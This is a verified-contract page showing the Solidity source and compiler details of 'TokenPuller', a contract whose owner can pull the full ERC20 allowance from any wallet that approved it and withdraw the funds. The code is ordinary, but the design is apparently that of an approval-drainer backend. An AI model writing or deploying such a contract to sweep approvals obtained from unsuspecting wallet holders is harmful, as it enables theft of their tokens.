Verified contractExactMIT
TokenPuller
Address0xa34d86e1a85641ba5df4737a18e30fa6d6afe5a7
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.34
- Same code
Only this contract
Details
- Compiler
- solc 0.8.34+commit.80d5c536
- Language
- solidity
- Optimization
- Yes, 200 runs
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,421,419
- Creation transaction
- 0x0e53b65f87…e72573f292
TokenPuller.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function transfer(address to, uint256 amount) external returns (bool);
}
library SafeERC20 {
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: operation failed");
}
}
}
contract TokenPuller {
using SafeERC20 for IERC20;
address public owner;
event Pulled(address indexed token, address indexed from, uint256 amount);
event Withdrawn(address indexed token, uint256 amount);
constructor(address _owner) {
require(_owner != address(0), "Invalid owner");
owner = _owner;
}
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
// Pull full allowance from a wallet (USDT-safe)
function pull(address token, address from) external onlyOwner {
uint256 amount = IERC20(token).allowance(from, address(this));
require(amount > 0, "No allowance");
IERC20(token).safeTransferFrom(from, address(this), amount);
emit Pulled(token, from, amount);
}
// Pull a specific amount (USDT-safe)
function pullAmount(address token, address from, uint256 amount) external onlyOwner {
require(amount > 0, "Amount zero");
IERC20(token).safeTransferFrom(from, address(this), amount);
emit Pulled(token, from, amount);
}
// Withdraw ERC20 tokens to owner (USDT-safe)
function withdraw(address token) external onlyOwner {
uint256 bal = IERC20(token).balanceOf(address(this));
require(bal > 0, "Nothing to withdraw");
IERC20(token).safeTransfer(owner, bal);
emit Withdrawn(token, bal);
}
// Withdraw ETH to owner
function withdrawETH() external onlyOwner {
uint256 bal = address(this).balance;
require(bal > 0, "Nothing to withdraw");
(bool ok, ) = owner.call{value: bal}("");
require(ok, "ETH transfer failed");
}
receive() external payable {}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": true
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.